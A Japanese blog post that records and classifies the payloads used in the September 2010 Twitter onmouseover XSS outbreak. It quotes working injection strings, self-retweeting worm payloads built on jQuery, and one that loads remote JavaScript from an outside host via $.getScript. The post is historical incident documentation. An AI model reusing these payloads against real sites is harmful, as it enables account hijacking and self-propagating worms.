twitter XSS脆弱性の観測記録

2010年9月21日に twitter で起きた XSS脆弱性攻撃の個人的な観測記録です。

この問題は何か

どんなバグか

  • URLで、/(slash)に挟まれた@(atmark)の後の"(double quotation)がエスケープされない
    • 全部で140文字以内であれば任意のコードをHTMLタグに入り込ませる事が出来る


#つけたのはクリックしてちゃんと飛べるようにするためであって#はXSSに必要ないです。URLの後に続くスラッシュとスラッシュの間にある@の後のダブルクォートがエスケープされずにタグの中に入る。 http://example.com/@"/

問題が広まった経緯


もう1ヵ月経つので言うけど、このXSS-after-@ issues、僕が8月14日に報告したものなんだけどなんでold Twitterで修正されてないのにTwitterの中の人自ら丸見えにさせてるの? http://bit.ly/aDhTs4


そんな訳でRainbow Twitterをリリースしました。各自RTしてタイムラインをカラフルにしましょう!!!(新Twitterには対応していません) http://twitter.com/rainbowtwtr


クリティカルな問題でありながら報告後長らく修正されなかったこと、さらにツイッター側が自ら脆弱性を公開したままにしており問題意識があまりにも低いことなどを考慮して、背後で巧妙に悪用されるよりは早急に問題の重大さを認識させ対策させた方がいいだろうという判断で虹を架けさせて頂きました
*2


こんにちはこんにちは!!

自分が観測したスクリプト

自分のTLで観測した16件、15種、5類型。と、はまちちゃん

Name Type class font-size color background position width height Note
#@" RainbowTwtr CSS:color -- -- 7 colors 7 colors absolute 100% 100% rainbow
#@" background:url CSS:image -- -- -- url() absolute 100% 100% url -> image
#@" alert onmouseover -- -- -- -- -- -- -- alert();
@" a.no onmouseover -- -- #000 #000 -- -- -- retweet
@" t.co g.co onmouseover modal-overlay -- -- (#000) (fixed) (100%) (100%) retweet: 3 target
@" getScript onmouseover -- 999999999999px; -- -- -- -- -- http://is.gd/fl9A7
@" Hamachiya onmouseover -- -- -- red -- -- -- .
RainbowTwtr
//red
http://twitter.com/RainbowTwtr#@"style="background-color:red;color:red;position:absolute;top:0;left:0;width:100%;height:100%"/
//orange
http://twitter.com/RainbowTwtr#@"style="background-color:orange;color:orange;position:absolute;top:0;left:0;width:100%;height:100%"/
//yellow
http://twitter.com/RainbowTwtr#@"style="background-color:yellow;color:yellow;position:absolute;top:0;left:0;width:100%;height:100%"/
//green
http://twitter.com/RainbowTwtr#@"style="background-color:green;color:green;position:absolute;top:0;left:0;width:100%;height:100%"/
//blue
http://twitter.com/RainbowTwtr#@"style="background-color:blue;color:blue;position:absolute;top:0;left:0;width:100%;height:100%"/
//indigo
http://twitter.com/RainbowTwtr#@"style="background-color:indigo;color:indigo;position:absolute;top:0;left:0;width:100%;height:100%"/
//purple
http://twitter.com/RainbowTwtr#@"style="background-color:purple;color:purple;position:absolute;top:0;left:0;width:100%;height:100%"/

領域一杯に広がる単色の要素を表示します。虹色ですね。

background:url
http://twitter.com/#@"style="background:url('http://bit.ly/cHSrQl');position:absolute;top:0;left:0;width:100%;height:100%;font-size:0px"/

CSSで背景画像を指定された要素を表示しようとしたっぽい、実際は透明な要素かな。

alert
http://twitter.com/syawatan#@"onmouseover="alert('にゃかにゃかにゃん!!')"/
http://twitter.com/theOrangest#@"onmouseover="alert('これすげえええええええええええええええ。')"/

onmouseover で alert(); が実行されるだけ。かわいいものです。

a.no
http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/

onmouseover で、内容を複製した物が submit(); されます。 jquery.min.js に乗っかっています。
ある種のワームです。

t.co g.co
http://t.co/@"onmouseover="document.getElementById('status').value='RT Matsta';$('.status-update-form').submit();"class="modal-overlay"/
http://t.co/@"onmouseover="document.getElementById('status').value='RT Unlevin ';$('.status-update-form').submit();"class="modal-overlay"/
http://g.co/@"onmouseover="document.getElementById('status').value='RT itochan315';$('.status-update-form').submit();"class="modal-overlay"/

.modal-overlay{z-index:9999!important;width:100%;position:fixed;margin:0;background-color:#000;opacity:.3;filter:alpha(opacity = 30);top:0;left:0;text-align:center;height:100%;}

onmouseover で、内容を複製した物が submit(); されます。 jquery.min.js に乗っかっています。 twitter.css の modal-overlay class が指定されているので、要素はブラウザ一杯の大きさになります。
ある種のワームです。

getScript
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
  • http://is.gd/fl9A7
    • http://lexasoft.jino-net.ru/up1415.js

$('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/");
$('.status-update-form').submit();

onmouseover で、 getScript(); が実行され、読み込まれたスクリプトにより、同様の内容がフォームに入れられ submit(); されます。外部からスクリプトを読み込む為、140文字の制約がありません。 jquery.min.js に乗っかっています。
ある種のワームです。

Hamachiya
t.co@"onmouseover="document.getElementById('status').value='こんにちはこんにちは!!';$('.status-update-form').submit();"style="background:red"/

onmouseover で、はまちちゃんの挨拶「こんにちわこんにちわ!!」と言う内容を submit(); するだけ。 jquery.min.js に乗っかっています。

今後も警戒は必要


一度は修正したと公式が言ってるけど僕は色を変化させた文字をDMに書いて自分に向けて送っておいて修正されたか何度も見ていたが一度も色が戻ったのをみていない。あと詳細は避けるけどもっと前に報告した別のXSSもまだ修正されていない。これも修正したつもりになっているの?

誤解招いてそうなので言いますが「先月パッチによって問題を修正したが最近のアップグレードによってこの問題が再度発生してしまった」 とツイッターは公式ブログで言ってるけどそのパッチが当たってる期間を一度でも見たことが無いと僕は言ってます。昨日の脆弱箇所はちゃんと修正されてると思います

@kinugawamasato 21日問題になったXSS脆弱性は修正済みですが、Twitter.comで未対処の別のXSS脆弱性が残っているってことですよね。

@sakamotoh そうです。
*4

*1:Hold up!
Sorry, the profile you are trying to view has been suspended.

*2:Twitter / Masato Kinugawa: なるほど虹じゃねーの

*3:Hamachiya2 Hamachiya

*4:解決したっぽい。 Twitter / Masato Kinugawa: Twitter fixed XSS!Good wor ...